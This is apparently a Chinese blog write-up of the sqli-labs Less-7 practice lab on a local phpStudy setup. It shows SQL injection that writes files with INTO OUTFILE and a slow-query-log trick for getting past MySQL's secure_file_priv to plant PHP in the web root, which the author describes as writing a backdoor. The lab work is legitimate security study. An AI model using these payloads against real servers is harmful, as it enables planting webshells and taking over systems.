文件读写注入需要考虑mysql版本问题,高版本存在secure_file_priv过滤,高版本突破,低版本直接写入
数据库如果是高版本,数据库会有防御,解决方法两种,硬钢或者绕过,
硬钢参考:https://www.cnblogs.com/c1e4r/articles/8902444.html
我是用硬刚的方法,下面是我硬钢的过程:
出现这样的问题:
在处理sqlilabs第七关,
写入url:http:\\127.0.0.1\sqlilabs\Less-7\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt’--+
出现
我先分析了网站,没有任何问题(url进入php后台没有任何问题,直接进入数据库执行好像出现了问题)
后来我们进入mysql命令行看一下哪里出现了问题( 把url转成sql看看出现什么问题了)
注意:
新版本phpstudypro好像没有mysql命令行,找新版本命令行过程看我的这个链接:[问题②](https://blog.csdn.net/u013630181/article/details/118066915) 老版本phpstudy找mysql命令行过程:网上多的是问度娘。 好的我们进入命令行 输入命令:
C:\Users\使用者>D:\phpstudy_pro\Extensions\MySQL5.7.26\bin\mysql.exe mysql -u root -p`
password就是我们要写mysql的密码
展示有哪些数据库:show databases;
输入数据库Use security
现在我们把url转成数据库语言看看出现什么问题
Url:http:\127.0.0.1\sqlilabs\Less-7?id=1’)) union select null,’aaaa’,null into outfile ‘D:\phpstudy_pro\WWW\sqlilabs\Less-7\1.txt’–+
相当于sql:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’–+’)) limit 0,1;(注意符号)
出现这样的未知问题我们先ctrl+c退出来。
在输入:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’
出现
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
出现这个的原因是高版本数据库有防御
---------------------------------------------分割线-----------------------------------------------------------
原因我们找到了那现在就解决吧
网上的解决方法有两种一种是关闭防护(这个第一种最好就不用,实战中受害方不会关闭数据库防护)还有一种是突破,下面我实验的就是突破的这种方法(这种突破方法执行一次用一次后期演示我会把数据库防护关闭):
参考文章:www.cnblogs.com/c1e4r/articles/8902444.html
(操作的时候就是把那三句sql执行)(相当于写了一个有后门的文件放到受害者服务器中)
下面开始:
由于这里还没讲sql语句直接注入,so文献中的三句话直接在数据库语句一下吧,
Sql语句:
set global slow_query_log=1 ;
set global slow_query_log_file='D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt' ;
SELECT '<?php asdsd?>' or sleep(11);
效果:在D:\phpstudy_pro\WWW\sqlilabs\Less-7下创建一个名为1.txt的文本,(注意必须写\,不然创建不了)文本内容为?php asdsd?
好的现在url可以用了:http:\\127.0.0.1\sqlilabs\Less-7\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt’--+
效果(网站没反应,但是目录下已经出现了该文件)